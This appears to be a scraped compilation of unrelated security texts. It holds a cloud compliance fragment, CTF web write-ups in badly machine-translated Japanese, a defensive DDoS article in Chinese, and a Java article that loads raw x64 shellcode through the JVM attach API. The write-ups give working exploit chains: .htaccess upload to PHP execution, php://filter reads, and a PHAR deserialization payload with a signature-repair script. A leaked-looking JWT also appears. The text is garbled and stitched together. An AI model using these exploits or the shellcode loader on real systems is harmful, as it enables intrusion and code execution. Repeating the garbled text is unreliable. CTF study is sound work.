5. 外部數據共享雲服務使與世界各地的供應商、員工和客戶共享數據變得非常容易。一些企業甚至開發多雲環境,使用不同廠商的雲服務,更方便地共享各類數據和資源。

未經管理和管理不善的數據共享可能會導致數據洩露和對組織敏感數據的失控。這就是為什麼您需要實施保護機制來幫助您的客戶以安全的方式共享他們的數據。

您可以通過遵循以下規則來確保安全的數據共享:

image.png

保護外部數據共享的4 種方法

通過我們上面討論的網絡安全工具和實踐,您將能夠保護基於雲的應用程序使用的敏感數據。但是,它們可能不足以符合適用的網絡安全要求。讓我們看看如何使用安全標準創建基於雲的應用程序。

確保云中的合規性在構建具有安全合規性的基於雲的軟件時,您需要關注許多IT 安全要求、行業標準、當地法律和法規。下面,我們列出了需要特別注意的幾個步驟。

image.png

確保云解決方案的網絡安全合規性的3 個步驟

1. 定義您的合規要求列表。您需要遵守的要求列表取決於您提供的服務、您的目標行業以及您的企業和客戶的地理位置。 ISO/IEC 27001是最廣泛認可的信息安全國際標準之一。雲計算安全還有四個特定標準:ISO/IEC 27002、ISO/IEC 27017、ISO/IEC 27018和ISO/IEC 27036-4。

IT 安全法規的其他常見示例是美國國家標準與技術研究院的特別出版物。《通用数据保护条例》 規定了保護歐盟居民數據的規則。根據您所在的地區和行業,您可能還需要遵守HIPAA(適用於美國醫療保健組織及其合作者)和PCI DSS(用於存儲、處理或傳輸信用卡數據的組織)。

2.選擇合規的雲服務。如果您不是從頭開始構建整個系統,則需要選擇正確的CSP。在選擇供應商時,重要的是要考慮現在哪些合規性要求對您至關重要,以及您將來可能需要遵循哪些合規性要求。否則,由於合規性問題,您在切換到其他供應商時可能會浪費額外的時間和金錢。

3. 進行內部IT 合規性審計。基於雲的基礎架構非常靈活,使開發人員能夠比本地解決方案更快地調整雲應用程序。定期的內部合規審計可以幫助您驗證所需的安全機制是否有效,並且即使在更新後您的應用程序仍然受到保護。但請記住,IT 合規性和數據安全性並不總是相同的。最好分別運行合規性和安全審計。

結論在構建基於雲的產品時,您需要考慮可能危及產品數據安全性和IT 合規性的雲特徵。即使您與提供額外安全服務並遵守您必須遵守的法律、法規和標準的大型雲提供商合作,您仍然需要密切關注許多因素。

通過緩解雲中最常見的安全威脅,您可以提高雲解決方案的安全性並增強客戶的信心。

web

sqlup

質問を開き、推測名でSQLを挿入するためのログインページを提供しました

1049983-20241008092218396-758395906.png

ソースコードを確認し、開発者にパターンマッチングを使用するように促すヒントがあることを見つけます

1049983-20241008092219390-32340352.jpg

だから私は%をファジーマッチに使用しようとしました、ログインは成功しました

username=adminpassword=%パネルを入力した後、ファイルアップロード機能があることがわかりました

1049983-20241008092220160-1690588852.png

PHPファイルをアップロードしてみてくださいが、結果はWAFであり、ファイル名はpが表示されない

1049983-20241008092220948-1070441433.jpg

.htaccessファイルを使用してgifファイルを解析することを考えました。

.htaccessファイルを最初にアップロードし、1.gifをphpとして解析します

filesmatch '1.gif'

Sethandler Application/X-HTTPD-PHP

/filesmatch

1049983-20241008092221713-43094018.jpg

次に、1.GIFファイルをアップロードします

1049983-20241008092222494-1621144674.jpg

次に、/1.gifにアクセスしてください。ただし、フラグを読む許可をエスカレートする必要があります

パワーをエスカレートする注文を探しています

find/-perm -u=s -Type f 2/dev/null discovery TACコマンドを使用できます

1049983-20241008092223231-742831687.jpg

Candyshop

ソースコードは次のとおりです

Import DateTime

フラスコのインポートフラスコ、render_template、render_template_string、request、redirect、url_for、session、make_responseから

WTFORMSからImport Stringfield、PasswordField、Submitfieldから

wtforms.validatorsからImport datarequired、lengthから

flask_wtfからインポートフラスコフォームから

Reをインポートします

app=flask(__name__)

app.config ['Secret_key']='

1。 web

1。旗が消える

アクセス拒否

FakeIPプラグインフェイクIP

imgプロンプトファイルはnullです

ファイルパラメーターを追加してみてください

?file=index.php`プロンプト `ハックしないでください!

おそらくフィルターチェーン

参照記事:

https://www.cnblogs.com/linuxsec/articles/12684259.html

https://blog.csdn.net/yuanxu8877/article/details/127607264

Php: //filter/convert.iconvが成功することができます

img/?file=php: //filter/convert.iconv.utf-16/resource=index.php

/?file=php://filter/convert.iconv.utf-8.utf-16/resource=/flag img img :010一般的なバックアップファイルまたはロボットがあるかどうかを最初に確認しましょう。

バックアップファイルwww.tar.gzを見つけることができます

image.png

次に、URL/www.tar.gzにアクセスして、バックアップファイルをダウンロードします

image.png

主にupload.phpとdownload.phpを見て、ソースコードがすべてここにあることがわかりました

image.png

image.png

次のように、CSDNで同様の質問を見ることができます。

https://blog.csdn.net/m0_70819573/article/details/129506508

https://blog.csdn.net/2301_79708753/article/details/135873948

https://www.bilibili.com/read/cv21572905/

次に、質問へのリンクを開き、アップロードフォームから始めて、もうできません。それは脱介入の意味ではありませんか?

image.png

次に、ファイルのアップロードと降下の組み合わせである可能性があります。

次に、それがファーの降下化であることを検索して見つける - ファイルに含まれるゼリア化(ファイルアップロード)

それ以外{

$ extensions=array( 'gif'、 'jpg'、 'png');

$ temp=exploit( '。'、$ _files ['file'] ['name']);

$ fileextension=end($ temp);

$ filesizecheck=$ _files ['file'] ['size'];

$ iSextensionAllowed=in_array($ fileextension、$ extensions)? True : False;

if($ filesizecheck $ isextensionAllowed){

$ filecontent=file_get_contents($ _ files ['file'] ['tmp_name']);

$ haltcompilercheck=strpos($ filecontent、 '__halt_compiler();');

if(getType($ haltCompilerCheck)==='Integer'){

echo 'phar';

uoload.phpのこのコードから、GIF、JPG、およびPNGの写真のみをアップロードできることを知ることができ、コンテンツチェックが実行されることがわかります。ファイルにはコンテンツ「__HALT_COMPILER();」を含めることはできません。

そのため、生成されたPhARファイルを圧縮パッケージに圧縮して、チェックをバイパスする必要があります。

クラスファイル{

public $ val1;

public $ val2;

public $ val3;

パブリック関数__construct(){

$ this-val1='val1';

$ this-val2='val2';

}

パブリック関数__destruct(){

if($ this-val1==='file' $ this-val2==='exists'){

if(preg_match( '/^\ s*system \ s*\(\ s*\' cat \ s+\/[^;]*\ '\ s*\); \ s*$/'、$ this-val3){

eval($ this-val3);

} それ以外{

エコー「アクセス拒否」;

}

}

}

パブリック関数__access(){

$ var='アクセス拒否';

echo $ var;

}

public function __wakeup(){

$ this-val1='exists';

$ this-val2='file';

echo 'ファイルが存在します';

}

}

次に、download.phpのコードから、それが定期的に脱出されていることを知ることができます。 __Destruct()Magicメソッドには、コマンドを実行するために使用できるeval()関数があり、コマンド実行の脆弱性があります。 __destruct()メソッドのIFステートメントは、変数v a l 1がf i l eに等しいか、変数Val1がファイルに等しいか、変数Val1がファイルに等しいか、変数Val2が存在するかどうかを決定します。

次に、次のコードに

if(preg_match( '/^\ s*system \ s*\(\ s*\' cat \ s+\/[^;]*\ '\ s*\); \ s*$/'、$ this-val3){

eval($ this-val3);

このコードは、文字列が特定のパターンと一致するかどうかをチェックするPHPの条件付きステートメントです。一致が成功した場合、評価関数が実行され、文字列内のコードが実行されます。

この正規表現を見てみましょう

/^\ s*system \ s*\(\ s*\ 'cat \ s+\/[^;]*\' \ s*\); \ s*$/:

/^と$は文字列の開始と終了を表し、文字列全体がパターンと一致するようにします。

\ s*ゼロ以上のホワイトスペース文字を一致させます。

システムは、文字列内のシステムと一致します。

(および)左と右のブラケットに一致します。

\ s*ゼロ以上のホワイトスペース文字を一致させます。

'cat \ s+/[^;]'は、catから始まるファイルパスに一致するファイルパスに一致します。で:

’単一の引用を一致させます。

猫は猫の弦に一致します。

\ s+ 1つ以上の空白文字を一致させます。

/slash /を一致させます。

[^;]ゼロ以上の非セミコロン文字を一致させます。

’単一の引用を一致させます。

\ s*ゼロ以上のホワイトスペース文字を一致させます。

;セミコロンを一致させます。

言い換えれば、この正規表現は、文字列がシステムで始まるかどうかを確認するために使用されます( 'cat、その後のファイルパスが続き、その後'で終了します)。

したがって、$ val3の値を構築できます

System( 'cat /flag');

旗を取得するために

T h i s-v a l 3のコンテンツがこのパターンと一致する場合、e v a lが実行されます(このVal3のコンテンツはこのパターンと一致し、評価します(このパターンと一致します、評価(this-val3)。

正規表現を視覚化https://wangwl.net/static/projects/visualregex/#

image.png

次に、これに注意を払う必要があります。WakeUp()Magic Methodをバイパスする必要があります。

public function __wakeup(){

$ this-val1='exists';

$ this-val2='file';

echo 'ファイルが存在します';

}

v a l 1をe x i s t s、val1が存在し、val1が存在し、val2をファイルします。

image.png

、したがって、覚醒()をバイパスする必要があります

つまり、CVE-2016-7124を使用する必要があり、その影響の範囲は

PHP5 5.6.25

PHP7 7.0.10

そのトリガー方法も非常に単純です。つまり、シリアル化された文字列のオブジェクト属性の数を表す値が実際の属性番号よりも大きい場合、__wakeupの実行はスキップされます

次に、ファーファイルを構築し、アップロードして脱3を実行し、それによってコードを実行する必要があります

アップロードすると、ZIPはPhAR検出をバイパスしますが、PhAR擬似プロトコルはZIPを減圧します。減圧するとき、私たちのPHAR擬似プロトコルは、file_get_contents()での脱気からのトリガーをトリガーし、eval()コマンドを実行します。

PHARファイル生成コード:

?php

ini_set( 'phar.readonly'、 'off');

クラスファイル

{

public $ val1;

public $ val2;

public $ val3;

パブリック関数__construct()

{

$ this-val1='file';

$ this-val2='exists';

$ this-val3='System(' cat /flag ');';

}

}

$ a=new file();

$ phar=new Phar( 'aa3.phar');

$ phar-startbuffering();

$ phar-setstub( '?php __halt_compiler();');

$ phar-setmetadata($ a);

$ phar-addfromstring( 'test.txt'、 'test');

$ phar-stopbuffering();

php phar.php

コードを実行して、ファーファイルを生成します

image.png

010を通じて、Pharファイルの内容がシリアル化されていることがわかります

image.png

しかし、アップロードとアクセスのときにエラーが報告されます

image.png

警告: file_get_contents(phar: //./upload/fuck.jpg):はstream: phar '/var/www/html/upload/fuck.jpg' sha1 signatureを確認できませんでした。

ここには問題があります。 010でPhARファイルを変更してWakeUp()Magicメソッドをバイパスできますが、ここには署名認証があり、署名を修正する必要があります

image.png

スクリプトで修正されたPHARは、データ、データ署名(20ビット)、および署名形式(8ビット)で構成されています。

gzipをインポートします

HashlibインポートSha1から

with open(r'd: \\ downlaods_1 \\ anfang_ctf \\ webbbbbbbb \\ aa3.phar '、' rb ')file:として

f=file.read()

s=f [:-28]#データに署名してください

S=S.Replace(B'3: {'、b'4: {')#属性値を交換し、バイパス__wakeup

H=F [-8:]#署名タイプとGBMBのIDを取得する

newf=s + sha1(s).digest() + h#data + signature +(type + gbmb)

#print(newf)

newf=gzip.compress(newf)#gzip pharファイルの圧縮

with open(r'D: \\ downlaods_1 \\ anfang_ctf \\ webbbbbbbb \\ fuck3.png '、' wb ')as file:#ファイルサフィックスを変更します

file.write(newf)

次に、PNG画像をアップロードします

image.png

phrowd.phpでポストパラメーター転送を実行し、phar: //protocol pseudoを使用してpharファイルを読み取り、脱出をトリガーします。

file=phar: //./upload/fuck3.png

最後にフラグを取得します

image.png

フラグは次のとおりです。

669B01045DA0456EA2A2861CE57DD537

2.Unserialize_web

関数をクリックしただけで何も見つかりませんでした。 F12のソースコードにwww.zipがあることがわかりました。

imgソースコードをダウンロードして、tcpdf v6.3.2を参照してください

タイトル登録関数を見て、エラーを直接登録して表示し、ソースコード登録html/api.phpのロジックを見てください

img QINTERNALへのフォローアップ

imgはhttp://LocalHost:8082/``招待状にアクセスします

次に、pdf/internal.pyに移動します

app.run(host='127.0.0.1'、ポート=8082)、ローカル8082ポートにはPythonサービスが有効になっています

その後、ローカルのデバッグがここに来て、if('myjson ['vite'] in open( 'Invites.txt')。read()。

imgその後、Google検索「CTF」TCPDF招待状を検索します

検索

https://cloud.tencent.com/developer/article/2069757

https://r0.haxors.org/posts?id=15

https://b6a.black/posts/2021-05-22-3kctf/#ppaste-web-498ポイント

参照:https://r0.haxors.org/posts?id=15

imgINVITE:-3.3E9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999

img次に、イントラネットのSSRFを呼び出します

WPのように、私は何度か電話してきましたが、それを打つことができませんでした。外部ネットワークからのリクエストはないので、ネットワークがあるとは推測できません

ソースコードに移動し、元のタイトルWPに従ってSSLF場所のロジックを見つけます

img元の質問の比較

img Gopherがリリースされていることがわかります

だから私はGopherだけで、長い間テストした後もテストしていません。

最後に、Cookieの問題により、ユーザーがログインするか、以前のユーザーのCookieがログインした可能性があると思います

asmintest1を直接登録し、SSRFをチームメイトに再生します(Asmintest55)、Access Action:Adminは管理者へのアップグレードに正常にアップグレードします

img img img img

3.mypdf

0問題を解決しました。

2人のユーザーがパスワードログインが弱いため、2つのトークンを取得します

admin; 123456Test; 123456TOKEN_TEST='eyj0exaioijkv1qilcjhbgcioijsuzi1nij9.eyj1c2vyijoidgvzdcisimlwijoimtcyljiwlji0mc4zmij999.a9crtyzlavhqif9vrihn1ksjle FZCKPARV3EO96EBSLD5GZRU78QGIFKDTW_YXQGYC7Z82PQH1BQGWMF5CLBFYSQNB6V9HV7FYZJUPZZT2B-IRXITYFHW2QQJR0I_YRJATOKEN_ADMIN='eyj0exaioijkv1qilcjhbgcioijsuzi1nij9.eyj1c2vyijoiywrtaw4ilcjpcci6ije3mi4ymc4yndaumziifq。 DDTMCHPMQTBA_2_WJXLPO_6G5DTAM7STY2KNNGOL6QAEAWH4Y8EJY6NDBLUEMHXYYECPILFXZXZXEPQKV_GW3RGREG7L

客戶喜歡運行良好且順利的事情。分佈式拒絕服務(DDoS) 攻擊使服務器和數據中心無法響應所有請求。這就是網絡犯罪分子繼續依賴這些攻擊的原因,旨在損害受害者產品和服務的性能和可用性。

為了降低失去客戶信任的風險並維護企業聲譽,在開發新產品時優先考慮DDoS 緩解非常重要。

在本文中,我們將討論最常見的DDoS 攻擊類型以及有助於檢測它們的技術。我們還提供了一些建議,以幫助您的開發團隊及時進行必要的調整併構建安全且有彈性的Web 應用程序。

DDoS攻擊的類型和方法想像一下有人一遍又一遍地撥打您的電話,使用不同的電話號碼,因此您無法將他們列入黑名單。您可能最終會關閉手機並變得無法訪問。這就是通常的DDoS 攻擊的樣子。

分佈式拒絕服務(DDoS) 攻擊是一種旨在使受害者的資源無法使用的協同攻擊。 DDoS 攻擊通常針對網站、Web 應用程序或API,可以由黑客執行,也可以在連接到互聯網的多個受感染設備(殭屍網絡)的幫助下執行。

早在史蒂夫喬布斯推出第一款iPhone 之前,DDoS 攻擊就已經出現。而且它們在黑客中仍然非常受歡迎,因為它們有效、易於啟動並且幾乎不留痕跡。

一次DDoS 攻擊可能會持續幾分鐘、幾小時甚至幾天。但是,攻擊的影響通常不是根據它持續的時間來計算的,而是根據攻擊受害者的流量來計算的。迄今為止報告的最大事件之一是Microsoft 在2022 年初阻止的每秒3.47 TB 的攻擊。它針對Microsoft Azure 服務的亞洲客戶,據報導起源於全球約10,000 個工作站。

有時,網絡犯罪分子發起DDoS 攻擊只是為了提高他們的黑客技能或因為他們感到無聊。但更多情況下,這些攻擊是出於特定原因進行的,包括:

image.png

DDoS 攻擊背後的原因

马云惹不起马云 贖金——網絡犯罪分子可能會發起攻擊或威脅這樣做,以向受害者勒索金錢或其他利益。此類攻擊有時也稱為贖金拒絕服務攻擊。

马云惹不起马云商業競爭——一些組織可以使用DDoS 攻擊作為一種不公平競爭的方法,並試圖通過損害其競爭對手的業務流和聲譽來獲得優勢。

马云惹不起马云黑客主義——精通技術的活動家可能會使用DDoS 攻擊來展示他們對某些企業、政治和社會倡議或公眾人物的不滿。

马云惹不起马云網絡戰——政府可以授權DDoS 攻擊來破壞敵國的關鍵在線基礎設施或關閉反對派網站。

根據他們的目標和動機,網絡犯罪分子使用各種工具進行各種類型的攻擊。通常,DDoS 攻擊通過以下方式執行:

马云惹不起马云利用軟件漏洞——黑客可以針對已知和未知的軟件漏洞並發送格式錯誤的數據包以試圖破壞受害者的系統。

马云惹不起马云消耗計算或通信資源——攻擊者可以發送大量看起來合法的數據包。因此,它們會消耗受害者的網絡帶寬、CPU 或內存,直到目標系統無法再處理來自合法用戶的請求。

雖然DDoS 攻擊沒有標準分類,但我們可以將它們分為四大類:

image.png

DDoS 攻擊的類型

讓我們仔細看看這些類型的攻擊。

1. 容量攻擊容量攻擊旨在通過大量流量來阻止對受害者資源的訪問,通常藉助殭屍網絡和放大技術。這些攻擊的規模通常以每秒比特數(bps) 來衡量。

最常見的容量攻擊類型是:

马云惹不起马云 UDP 泛洪——攻擊者將使用受害者的源地址偽造的用戶數據報協議(UDP) 數據包發送到隨機端口。主機生成大量回复流量並將其發送回受害者。

马云惹不起马云DNS 放大- 網絡犯罪分子破壞和操縱可公開訪問的域名系統(DNS),以用DNS 響應流量淹沒受害者的系統。

马云惹不起马云濫用應用程序攻擊——黑客入侵客戶端機器,這些機器可以發送大量看似合法的流量,並將該流量重定向到受害者的服務器,耗盡其資源並最終將其關閉。

2020 年, Amazon Web Services 遭受了使用無連接輕量級目錄訪問協議(CLDAP) 反射技術執行的2.3 TBps 的大規模攻擊。

2.協議攻擊協議攻擊針對不同互聯網通信協議工作方式的弱點。通常,此類DDoS 攻擊的規模以每秒網絡數據包數(pps) 來衡量。最常見的協議攻擊類型是:

马云惹不起马云SYN 洪水——黑客利用了TCP 三次握手機制中的一個弱點。客戶端向服務器發送一個SYN 數據包,接收一個SYN-ACK 數據包,並且永遠不會向主機發送一個ACK 數據包。因此,受害者的服務器會留下大量未完成的SYN-ACK 請求,並最終崩潰。

马云惹不起马云ICMP 洪水— 惡意行為者使用大量Internet 控制消息協議(ICMP) 請求或ping,試圖耗盡受害者的服務器帶寬。

马云惹不起马云Ping of death——黑客使用簡單的ping 命令發送超大數據包,導致受害者的系統凍結或崩潰。

2020 年,Akamai 報告說,它與針對歐洲銀行的每秒8.09 億個數據包(Mpps) 的大規模DDoS 攻擊作鬥爭。

3.應用層攻擊應用程序攻擊利用6 級和7 級協議棧中的弱點,針對特定應用程序而不是整個服務器。此類DDoS 攻擊的威力通常以每秒請求數來衡量。

應用層攻擊通常針對常見的端口和服務,例如DNS 或HTTP。最常見的應用程序級攻擊是:

马云惹不起马云HTTP 氾濫——攻擊者使用殭屍網絡向應用程序或Web 服務器充斥大量標準GET 和POST 請求。由於這些請求通常表現為合法流量,因此檢測HTTP 泛洪攻擊是一個相當大的挑戰。

马云惹不起马云Slowloris — 顧名思義,Slowloris 緩慢地使受害者的服務器崩潰。攻擊者以定時間隔和小部分向受害者的服務器發送HTTP 請求。服務器一直在等待這些請求完成,而這永遠不會發生。最終,這些未完成的請求會耗盡受害者的帶寬,使合法用戶無法訪問服務器。

根據Cloudflare 最近的一份聲明, 2022 年,一項未命名的加密貨幣服務遭到每秒1530 萬次請求的攻擊。

4. 0 day DDoS 攻擊除了眾所周知的攻擊之外,還有所謂的0 dayDDoS 攻擊。他們利用尚未修補的以前未知的軟件漏洞或使用不常見的攻擊媒介,因此更難以檢測和保護。

現在讓我們談談檢測DDoS 攻擊的方法。

檢測DDoS 攻擊雖然不可能完全阻止DDoS 攻擊的發生,但有一些有效的做法和方法可以幫助您檢測和阻止已經發生的DDoS 攻擊。

下面,我們列出了幾種最常見的DDoS 保護方法,您可以依靠它來檢測攻擊並保護您的產品或服務。

image.png

DDoS 檢測方法

異常檢測檢測潛在DDoS 攻擊的一種方法是分析網絡流量並將流量模式分類為正常或潛在威脅。您可以藉助傳統的靜態分析或更複雜的技術(如機器學習和人工智能)來做到這一點。

除了網絡流量分析之外,您還可以搜索其他網絡性能因素中的異常情況,例如設備CPU 利用率或帶寬使用情況。

基於知識的方法您還可以通過將流量與已知攻擊的特定模式進行比較來檢測類似DDoS 的活動。常見的DDoS 防護技術包括簽名分析、狀態轉換分析、專家系統、描述腳本和自組織圖。

ACL 和防火牆除了入口/出口流量過濾之外,您還可以使用訪問控制列表(ACL) 和防火牆規則來增強流量可見性。特別是,您可以分析ACL 日誌以了解通過您的網絡運行的流量類型。您還可以配置您的Web 應用程序防火牆,以根據特定規則、簽名和模式阻止可疑的傳入流量。

入侵防禦和檢測入侵防禦系統(IPS) 和入侵檢測系統(IDS) 也增強了流量可見性。 IPS 和IDS 警報可作為異常和潛在惡意流量的早期指標。但請記住,這些系統往往會提供很多誤報。

至於處理可能涉及DDoS 攻擊的流量的方法,我們可以概述三種常見策略:

image.png

DDoS 緩解方法

马云惹不起马云空路由或黑洞路由- 所有流量和會話都被重定向到沒有最終目的地的IP 地址。結果,服務器無法接收或發送數據。一旦DDoS 攻擊結束,就會恢復正常的流量處理。雖然這種方法很容易實施,但它會對所有合法流量產生負面影響,並且基本上可以幫助攻擊者實現他們的初始目標——使受害者的服務器不可用。

马云惹不起马云 清理中心——這種方法基於將流量從受害服務器重定向到遠程清理中心,在該中心對流量進行分析和過濾。任何具有潛在危險的流量(例如DDoS 請求)都會被阻止,而合法請求則會照常處理。

马云惹不起马云內聯過濾——在這種方法中,通過網絡的所有流量都經過分析,並與不同的規則和攻擊指標進行比較。與已識別的DDoS 攻擊相關的流量會立即被阻止,而合法請求會得到正常處理。

特定方法和技術的選擇將取決於特定服務或解決方案的特性。但是,確保及早發現DDoS 攻擊對於任何項目都至關重要,因為它可以幫助您顯著減輕攻擊的後果並保持服務或解決方案的正常性能。

在接下來的部分中,我們將討論您可以嘗試防止DDoS 攻擊的幾種方法,並概述針對您的Web 應用程序或服務的某些類型的DDoS 保護措施。

構建DDoS 彈性應用程序的最佳實踐預防勝於治療。因此,在開始構建之前,請考慮如何確保Web 應用程序或服務的DDoS 彈性。

image.png

DDoS 緩解最佳實踐

1. 應用DDoS 防禦機制即使您無法阻止DDoS 攻擊的發生,您也有能力讓攻擊者更難關閉您的網站或應用程序。這就是DDoS 攻擊預防技術發揮作用的地方。

您可以使用兩組DDoS 預防機制:

马云惹不起马云 通用DDoS 預防機制

马云惹不起马云 過濾機制

通用DDoS 預防機制是可以幫助您使您的Web 應用程序或服務器對DDoS 攻擊更具彈性的常用措施。這些措施包括:

马云惹不起马云使用防火牆——雖然防火牆不能保護您的應用程序或服務器免受複雜的DDoS 攻擊,但它們仍然可以有效地處理簡單的攻擊。

马云惹不起马云安裝最新的安全補丁——大多數攻擊針對特定的軟件或硬件漏洞,因此按時部署所有補丁可以幫助您降低攻擊風險。

马云惹不起马云禁用未使用的服務——黑客可以攻擊的應用程序和服務越少越好。確保禁用所有不需要和未使用的服務和應用程序,以提高網絡的安全性。

過濾機制使用不同的方法來過濾流量並阻止潛在的危險請求。這些機制包括入口/出口過濾、基於歷史的IP 過濾和基於路由器的數據包過濾。

2. 明智地選擇您的CSP在選擇雲服務提供商(CSP) 時,請選擇擁有自己的DDoS 緩解策略的提供商。確保此策略確保檢測和緩解基於協議、基於容量和應用程序級的攻擊。

此外,研究您的CSP 關於DDoS 緩解的建議,並在構建您的Web 產品時實施它們。大多數雲服務提供商都有詳細的指導方針,以及保護您的Web 產品和服務免受常見DDoS 攻擊的最佳實踐。您可以先看看Google Cloud、Microsoft Azure和Amazon Web Services的建議。

3. 以可擴展性為目標通過將足夠的計劃和資源投入到其可擴展性中,使您的Web 應用程序能夠有效地處理突然的負載變化。您可以部署應用程序和網絡負載均衡器或內容分發網絡(CDN),通過跨多個實例分發所有流量來保護您的解決方案免受流量過載的影響。通過這種方式,您將能夠減輕基礎設施和應用程序層的潛在攻擊。

4.限制弱點的數量除非確實有必要,否則不要公開您的應用程序和資源。通過這種方式,您可以限制基礎設施中可能被攻擊者攻擊的薄弱環節的數量。您還可以禁止到數據庫服務器和基礎設施的其他關鍵部分的直接Internet 流量。

5. 保護您的APIDDoS 攻擊不僅可以針對您的網站和應用程序,還可以針對您的API。

有多種方法可以增強API 的反DDoS 保護:應用流量過濾工具和技術,限制API 在給定時間段內可以處理的請求數量,甚至部署蜜罐。

6. 使用第三方DDoS 緩解服務考慮將Web 應用程序的保護委託給第三方供應商。 DDoS 預防工具和緩解服務甚至可以在有問題的流量到達受害者的網絡之前將其移除。您可以尋找基於DNS 的服務來重定向來自您的網絡的有問題的流量,或者尋找基於邊界網關協議的解決方案來處理持續攻擊。

結論黑客不斷使用和改進DDoS 攻擊,旨在破壞特定網站、應用程序和服務的工作。在處理Web 應用程序時,請特別注意強化您的解決方案以抵禦可能的DDoS 攻擊。

考慮到穩定性和彈性來構建您的網絡產品非常重要。您可以結合不同的DDoS 攻擊預防方法和DDoS 防禦技術,以增加有效緩解潛在攻擊的機會。或者,您可以部署多個雲以確保更好地提供服務。

0x00 前言本文基於rebeyond的《Java内存攻击技术漫谈》 ,以Tomcat環境為例,介紹通過jsp加載Shellcode的方法,開源代碼,記錄細節。

0x01 簡介本文將要介紹以下內容:

依賴tools.jar加載Shellcode

自定義類加載Shellcode

0x02 依賴tools.jar加載Shellcode1.Java實現通過enqueue函數加載Shellcode,測試代碼:

importjava.lang.reflect.Method;

publicclassThreadMain{

publicstaticvoidmain(String[]args)throwsException{

System.loadLibrary('attach');

Classcls=Class.forName('sun.tools.attach.WindowsVirtualMachine');

for(Methodm:cls.getDeclaredMethods())

{

if(m.getName().equals('enqueue'))

{

longhProcess=-1;

bytebuf[]=newbyte[]

{

(byte)0xfc,(byte)0x48,(byte)0x83,(byte)0xe4,(byte)0xf0,(byte)0xe8,(byte)0xc0,(byte)0x00,

(byte)0x00,(byte)0x00,(byte)0x41,(byte)0x51,(byte)0x41,(byte)0x50,(byte)0x52,(byte)0x51,

(byte)0x56,(byte)0x48,(byte)0x31,(byte)0xd2,(byte)0x65,(byte)0x48,(byte)0x8b,(byte)0x52,

(byte)0x60,(byte)0x48,(byte)0x8b,(byte)0x52,(byte)0x18,(byte)0x48,(byte)0x8b,(byte)0x52,

(byte)0x20,(byte)0x48,(byte)0x8b,(byte)0x72,(byte)0x50,(byte)0x48,(byte)0x0f,(byte)0xb7,

(byte)0x4a,(byte)0x4a,(byte)0x4d,(byte)0x31,(byte)0xc9,(byte)0x48,(byte)0x31,(byte)0xc0,

(byte)0xac,(byte)0x3c,(byte)0x61,(byte)0x7c,(byte)0x02,(byte)0x2c,(byte)0x20,(byte)0x41,

(byte)0xc1,(byte)0xc9,(byte)0x0d,(byte)0x41,(byte)0x01,(byte)0xc1,(byte)0xe2,(byte)0xed,

(byte)0x52,(byte)0x41,(byte)0x51,(byte)0x48,(byte)0x8b,(byte)0x52,(byte)0x20,(byte)0x8b,

(byte)0x42,(byte)0x3c,(byte)0x48,(byte)0x01,(byte)0xd0,(byte)0x8b,(byte)0x80,(byte)0x88,

(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x48,(byte)0x85,(byte)0xc0,(byte)0x74,(byte)0x67,

(byte)0x48,(byte)0x01,(byte)0xd0,(byte)0x50,(byte)0x8b,(byte)0x48,(byte)0x18,(byte)0x44,

(byte)0x8b,(byte)0x40,(byte)0x20,(byte)0x49,(byte)0x01,(byte)0xd0,(byte)0xe3,(byte)0x56,

(byte)0x48,(byte)0xff,(byte)0xc9,(byte)0x41,(byte)0x8b,(byte)0x34,(byte)0x88,(byte)0x48,

(byte)0x01,(byte)0xd6,(byte)0x4d,(byte)0x31,(byte)0xc9,(byte)0x48,(byte)0x31,(byte)0xc0,

(byte)0xac,(byte)0x41,(byte)0xc1,(byte)0xc9,(byte)0x0d,(byte)0x41,(byte)0x01,(byte)0xc1,

(byte)0x38,(byte)0xe0,(byte)0x75,(byte)0xf1,(byte)0x4c,(byte)0x03,(byte)0x4c,(byte)0x24,

(byte)0x08,(byte)0x45,(byte)0x39,(byte)0xd1,(byte)0x75,(byte)0xd8,(byte)0x58,(byte)0x44,

(byte)0x8b,(byte)0x40,(byte)0x24,(byte)0x49,(byte)0x01,(byte)0xd0,(byte)0x66,(byte)0x41,

(byte)0x8b,(byte)0x0c,(byte)0x48,(byte)0x44,(byte)0x8b,(byte)0x40,(byte)0x1c,(byte)0x49,

(byte)0x01,(byte)0xd0,(byte)0x41,(byte)0x8b,(byte)0x04,(byte)0x88,(byte)0x48,(byte)0x01,

(byte)0xd0,(byte)0x41,(byte)0x58,(byte)0x41,(byte)0x58,(byte)0x5e,(byte)0x59,(byte)0x5a,

(byte)0x41,(byte)0x58,(byte)0x41,(byte)0x59,(byte)0x41,(byte)0x5a,(byte)0x48,(byte)0x83,

(byte)0xec,(byte)0x20,(byte)0x41,(byte)0x52,(byte)0xff,(byte)0xe0,(byte)0x58,(byte)0x41,

(byte)0x59,(byte)0x5a,(byte)0x48,(byte)0x8b,(byte)0x12,(byte)0xe9,(byte)0x57,(byte)0xff,

(byte)0xff,(byte)0xff,(byte)0x5d,(byte)0x48,(byte)0xba,(byte)0x01,(byte)0x00,(byte)0x00,

(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x48,(byte)0x8d,(byte)0x8d,

(byte)0x01,(byte)0x01,(byte)0x00,(byte)0x00,(byte)0x41,(byte)0xba,(byte)0x31,(byte)0x8b,

(byte)0x6f,(byte)0x87,(byte)0xff,(byte)0xd5,(byte)0xbb,(byte)0xf0,(byte)0xb5,(byte)0xa2,

(byte)0x56,(byte)0x41,(byte)0xba,(byte)0xa6,(byte)0x95,(byte)0xbd,(byte)0x9d,(byte)0xff,

(byte)0xd5,(byte)0x48,(byte)0x83,(byte)0xc4,(byte)0x28,(byte)0x3c,(byte)0x06,(byte)0x7c,

(byte)0x0a,(byte)0x80,(byte)0xfb,(byte)0xe0,(byte)0x75,(byte)0x05,(byte)0xbb,(byte)0x47,

(byte)0x13,(byte)0x72,(byte)0x6f,(byte)0x6a,(byte)0x00,(byte)0x59,(byte)0x41,(byte)0x89,

(byte)0xda,(byte)0xff,(byte)0xd5,(byte)0x63,(byte)0x61,(byte)0x6c,(byte)0x63,(byte)0x2e,

(byte)0x65,(byte)0x78,(byte)0x65,(byte)0x00

};

Stringcmd='load';StringpipeName='test';

m.setAccessible(true);

Objectresult=m.invoke(cls,newObject[]{hProcess,buf,cmd,pipeName,newObject[]{}});

System.out.println('result:'+result);

}

}

Thread.sleep(4000);

}

}注:

代碼修改自《Java内存攻击技术漫谈》

